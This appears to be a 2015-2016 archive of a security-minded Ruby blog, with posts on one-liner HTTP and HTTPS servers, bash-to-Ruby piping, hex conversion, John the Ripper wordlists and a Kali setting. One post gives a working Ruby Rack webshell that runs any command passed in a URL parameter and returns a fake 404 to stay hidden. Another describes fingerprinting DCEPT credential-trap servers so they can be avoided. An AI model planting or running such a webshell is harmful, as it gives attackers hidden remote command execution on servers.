Thursday, March 10, 2016

Ruby's One-liner HTTP Server

For years I relied on Python's SimpleHTTPServer module when I wanted to stand up an ad-hoc web service for file transfers. For example, using Python 2.x:
python -m SimpleHTTPServer 8080

Or with Python 3.x:
python -m http.server 8000

Now while this is in fact easy to remember and works quite well, it is one of the only times I ever use Python over my chosen language of Ruby. That was until I discovered the most excellently named lib 'un'. It has been included in main since Ruby 1.9.2 and allows us to stand up a web server in no time at all. For example:
ruby -run -e httpd . -p 8080

 A quick breakdown of what's happening here:
  • -r is the shorthand for a require statement in ruby. Since the library we are loading is called 'un', it reads as 'run', a fantastically clever name indeed. Obviously, you could also invoke it as '-r un' but that's nowhere near as clever.
  • -e invokes the 'httpd' method as defined in the un.rb library. 
  • . is indicated to host the current working directory as the DocumentRoot,
  • -p 8080 is setting the Port option. 
Take a look in the un.rb source and you'll see it is just standing up a WEBrick server in the background. 

Example of running this on my Mac:


Tuesday, March 8, 2016

Simple HTTPS Server in Ruby

I recently needed a braindead https server that was mildly configurable. Ruby Webrick provides a very simple HTTPS webserver in their examples. I modified it for sane defaults and some configuration:

#!/usr/bin/env ruby
require 'webrick'
require 'webrick/https'
require 'optparse'

options = {}
optparse = OptionParser.new do|opts|
   opts.banner = "Usage: #{$0} [options] ..." 
   opts.on( '-p', '--port PORT', 'The port to listen on. Default:8443' ) do|port|
     options[:port] = port
   end
   opts.on( '-d', '--docroot PATH', 'The directory to serve. Default: Current Dir' ) do|docroot|
     options[:docroot] = docroot
   end
   opts.on( '-h', '--help', 'Display this screen' ) do
     puts opts
     exit 1
   end
 end.parse!(ARGV)

docroot = options[:docroot] || '.'
port = options[:port] || 8443
cert_name = [
  %w[CN localhost],
]
server = WEBrick::HTTPServer.new(:Port => port,
                                 :SSLEnable => true,
                                 :DocumentRoot => File.expand_path(docroot),
                                 :SSLCertName => cert_name) #this will be a self signed cert

trap 'INT' do server.shutdown end
puts "Serving #{docroot} on port #{port}"
server.start

It automatically creates a self signed cert and by default serves the current directory over port 8443. You can change with -p port and -d directory.

Monday, March 7, 2016

Super Simple Ruby Rack Webshell

Similar to my Super Simple Sinatra Webshell post, I've created a simple webshell using Ruby Rack. Simply run the below ruby script and the server will listen on 8080:
require 'rack'
require 'rack/server'


class RackWebShell
  def self.call(env)
    request = Rack::Request.new env
    response = Rack::Response.new
    unless request.params['qwer'].nil?
      response.write `#{request.params['qwer']}`
      response.finish # return the generated triplet
    else
      response.write "ERROR 404: File Not Found\n"
      response.status = 404
      response.finish
    end
  end
end


Rack::Server.start :app => RackWebShell

You can execute commands by simply making a Get request to /?qwer=<insert command here> (You still have to URLencode spaces and special chars)

And if someone doesn't supply the correct parameter or path, it returns a 404 (provides a tiny bit of stealthiness):


Fingerprinting DCEPT

I read recently about the release of DCEPT and I thought it was an interesting implementation of a novel (albeit old) concept for trapping the dumping of passwords. Actually, it doesn't trap someone dumping credentials, it alerts sysadmins when someone or something attempts to authenticate over kerberos using the previously fake and planted credentials.

There are several ways you can know if the creds are fake or not but I decided to take a look on the network for another portion of the DCEPT install. When you set up and install the docker image you'll find a python http server listening on port 80. When I made a request to this machine I got a set of fake creds. The format is the same everytime a new one was generated:

$ curl 'http://192.168.50.192/?machine=asdf'
{'d':'ALLSAFE.LAN','u':'Administrator',p:'bKpNYszxy2'}

$ curl 'http://192.168.50.192/?machine=asdf'
{'d':'ALLSAFE.LAN','u':'Administrator',p:'l2qF5JvlXk'}

$ curl 'http://192.168.50.192/?machine=asdf'
{'d':'ALLSAFE.LAN','u':'Administrator',p:'Eb7uy6VWb8'}

$ curl 'http://192.168.50.192/?machine=asdf'
{'d':'ALLSAFE.LAN','u':'Administrator',p:'l0Qms52qbu'}

Which results in server log output of:

So all I did was write up a quick scanner that checks for the expected response.

Thursday, March 3, 2016

Pipe Bash Commands Straight into Ruby One-Liners

I use bash every day of my life, which means I have a fondness for one-liners. The ability to smash complex commands as a series of pipes provides a type of satisfaction and pride not often found elsewhere. Unfortunately, not everything you want to do can be accomplished using Bash builtins or common CLI programs typically installed. Instead of hunting down the "proper" way to do it, you can hack something together like I prefer to do.

Let's say I know I want to do something, but I can'd find a reliable predictable way to do with with bash utilities. I happen to also know some ruby code that would do exactly what I want. I could write a ruby script to read in from a file and process and then output, but thats a lot of hassle for a task so small. Luckily, ruby makes it very easy for us to easily pipe text into the ruby interpreter and provide ruby code to do whatever we want with that input.

For example:
$ echo "proper name" | ruby -ne 'puts $_.capitalize'
Proper name

Or a bit convoluted with bash for loops:
$ for i in bob bill joe sam; do ruby -e "puts \"$i\".capitalize"; done
Bob
Bill
Joe
Sam

The -n argument:
     -n             Causes Ruby to assume the following loop around your script, which makes it iterate over file name arguments somewhat like sed -n
                    or awk.

                          while gets
                            ...
                          end

The -e argument:
     -e command     Specifies script from command-line while telling Ruby not to search the rest of the arguments for a script file name.

Which is a little confusing but basically means "run ruby code provided as argument"
Thats nice, but what if I need to use a method provided by a gem thats not included in the standard ruby library? as easy as:
$ cat > names.txt
bob
sally
sam
joe
jack

$ cat names.txt | ruby -r 'rbkb' -ne 'puts $_.capitalize.b64'
Qm9iCg==
U2FsbHkK
U2FtCg==
Sm9lCg==
SmFjawo=

The -r argument:
     -r library     Causes Ruby to load the library using require.  It is useful when using -n or -p.

Lastly, the -p argument can be of some use as well:
     -p             Acts mostly same as -n switch, but print the value of variable $_ at the each end of the loop.  For example:

                          % echo matz | ruby -p -e '$_.tr! "a-z", "A-Z"'
                          MATZ

Another example:
$ cat names.txt | ruby -r 'rbkb' -n -e 'i = $_.chomp; puts i + " in base64 is: " + i.b64'
bob in base64 is: Ym9i
sally in base64 is: c2FsbHk=
sam in base64 is: c2Ft
joe in base64 is: am9l
jack in base64 is: amFjaw==

You can use -p instead of -n with a puts but things can get weird (does print at end of loop instead of puts):
$ cat names.txt | ruby -r 'rbkb' -p -e '$_ = $_.capitalize.b64'
Qm9iCg==U2FsbHkKU2FtCg==Sm9lCg==SmFjawo=

You can even technically paste in scripts and have them run:
cat names.txt | ruby -r 'rbkb' -ne '
> input = $_.chomp
> puts "The current input being processed is: \"#{input}\""
> puts "The current time is: #{Time.now}"
> puts "The Base64 encoded value of #{input} is #{input.b64}"
> '
The current input being processed is: "bob"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of bob is Ym9i
The current input being processed is: "sally"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of sally is c2FsbHk=
The current input being processed is: "sam"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of sam is c2Ft
The current input being processed is: "joe"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of joe is am9l
The current input being processed is: "jack"
The current time is: 2016-03-03 12:15:10 -0600
The Base64 encoded value of jack is amFjaw==

Just be careful with escaping your quotes:
$ cat names.txt | ruby -r 'rbkb' -ne '
> puts $_.chomp + 'asdf'
> '
-e:2:in `<main>': undefined local variable or method `asdf' for main:Object (NameError)

Even if you try to escape the single quotes (Bash doesnt read it the way you think it should):
$ cat names.txt | ruby -ne '
> puts $_.chomp + \'asdf\'
-e:2: syntax error, unexpected $undefined
puts $_.chomp + \asdf'
                 ^
-e:2: unterminated string meets end of file

$ echo '\''
>

You'd have to use the Bash syntax ANSI strings (note the $ before the opening single quote):
$ cat names.txt | ruby -ne $'
> puts $_.chomp + \'asdf\'
> '
bobasdf
sallyasdf
samasdf
joeasdf
jackasdf

Lot's of caveats and gotcha's to consider, know, and think about. Remember, pipe to ruby when it's simple and convenient. If you start getting too complicated with multiple lines and quote escapes, just put it in a file and run that instead.

Wednesday, February 17, 2016

Dealing With Hex In Ruby pt.2

Below are some common conversions I've needed in the past:

#Convert Hex number to Ascii:
> "\x41"
=> "A"

#Convert cat'd hex to ascii:
> 414142444534.to_s.split.pack("H*")
=> "AABDE4"

#Convert ascii "A" to Hex:
"A".unpack("H*")
=> ["41"]

#Convert ascii "A" to Decimal number
> "A".ord
=> 65

#Convert ascii 'asdf' to Decimal numbers
> 'asdf'.chars.map(&:ord)
=> [97, 115, 100, 102]
#or
> 'asdf'.chars.map {|x| x.ord}
=> [97, 115, 100, 102]

#Convert "AAAA" to \x41\x41\x41\x41
> puts "AAAA".unpack("H*")[0].chars.each_slice(2).map{ |a, b| "\\x#{a}#{b}" }.join
\x41\x41\x41\x41
=> nil
#or
> puts "ABCD".unpack('H*')[0].gsub(/(..)/,'\x\1')
\x41\x42\x43\x44
=> nil

Saturday, February 13, 2016

Hacker Hobbies

Hacker's tend to be very concentrated on their art. They spend a lot of time, nose down, in the grind and subsequently become some of the most knowledgable people in their areas of expertise. Unfortunately, sometimes spending too much time on one topic can lead to a lack of creativity, a lack of "big picture" thinking. If you're view is too narrow, you may miss the larger picture. Below is a list of hobbies that tend to prevail amongst the hacker community. Read through and see if any sound like they are up your alley. Who knows, you may even become a more rounded person :)

  • Electronics
  • Brewing (Wine/Beer/Mead/Liquor)
  • Cars
  • Small Engine Repair
  • Lockpicking
  • Ham Radio (About a thousand different things you can do with ham radio)
  • Drone Flying (Building/Racing/Video/Customizing)
  • Vaping
  • Cooking
  • Big Data Science
If you can think of any more, comment it below.

Thursday, January 28, 2016

Disable CMD/Windows Key in Kali From Opening Activities Overview

I cmd+tab between apps all the time. With the release of Kali 2, it has this very annoying "feature" of zooming out all my app windows when I hit the cmd key.

Turns out the fix is very simple:

gsettings set org.gnome.mutter overlay-key ''
Once you run that in a terminal, magically the cmd key stops bringing up the windows.

yay for simple solutions.

Friday, January 15, 2016

Generating Custom Wordlists Using John The Ripper

Recently I used John the Ripper to generate a very specific custom wordlist based on a specific mask.

./john --stdout --mask=?1?1?1?1?1 -1=[a-z0-9]
Press 'q' or Ctrl-C to abort, almost any other key for status
aaaaa
baaaa
caaaa
daaaa
eaaaa
faaaa
gaaaa
haaaa
...
Question mark sets the position, the number 1 sets the "variable", which you then specify afterwards. You can have multiple "variables":
./john --stdout --mask=?1?1?1?1?1?2 -1=[a-z0-9] -2=4
Press 'q' or Ctrl-C to abort, almost any other key for status
aaaaa4
baaaa4
caaaa4
daaaa4
eaaaa4
faaaa4
gaaaa4
haaaa4
iaaaa4
jaaaa4

Wednesday, October 28, 2015

Dealing with Hex in Ruby

Dealing with Hex numbers in Ruby is actually very simple once you understand whats going on underneath.

(Disclaimer: I am no Ruby expert, or even close. The following is simply my understanding of how things work)

Hexidecimal, Decimal, Octal, and Binary are all in the same group. Since they are all different ways of representing the same number, Ruby will show you the decimal representation of the number whenever you deal with things by default.
"A".ord
=> 65
"B".ord
=> 66

(as we talk about things, go ahead and "man ascii" to bring up the tables)
If you check the tables, 65 and 66 are the decimal representations of A and B. This is why I said earlier that Ruby deals with the decimal representation by default.

So how do I convert "A" and "B" to their hexidemical representations? (which is "41" and "42" from the ascii table)? Well it turns out there are several ways, but here are the two i use most:

You can simply use Fixnum's to_s method and tell it the output should be in base 16 (also works for any other base)
"A".ord.to_s(16)
=> "41"
"B".ord.to_s(16)
=> "42"

Or the slightly uglier version by using printf formatting:
"%x" % "A".ord
=> "41"
"%x" % "B".ord
=> "42"

OK well thats all well and good but what if I have the hex/octal/binary/decimal representation of something and i want to convert it to it's ASCII value?

So you remember how i said that ruby tends to deal with the decimal representation of numbers? Ruby gives a handy syntax for you to use when you tell it to deal with a certain number:

Hex: 0x41 = 65 in decimal = "A" in ASCII
Binary: 0b1000001 = decimal 65 = "A" in ASCII
Octal: 0o101 = 65 in decimal = "A" in ASCII
Decimal: 0d65 = 65 in decimal (dur) = "A" in ASCII

So thats how you tell ruby what kind of number your dealing with. Ruby reads whatever you types, convert it to decimal, and then does it's ruby magic on it.

So you can use Fixnum's chr method to convert from the hex/oct/bin/dec value you supply, to it's ASCII representation
0x41
=> 65
0x41.chr
=> "A"

0x42
=> 66
0x42.chr
=> "B"

The nice thing is that since ruby converts everything to decimal, you can do cool things with ranges. You can tell ruby to start at one hex value, increment to an octal value, and output each one as it's ASCII representation:
(0x59..0o143).each do |num|
  puts num.chr
end

Result:
Y
Z
[
\
]
^
_
`
a
b
c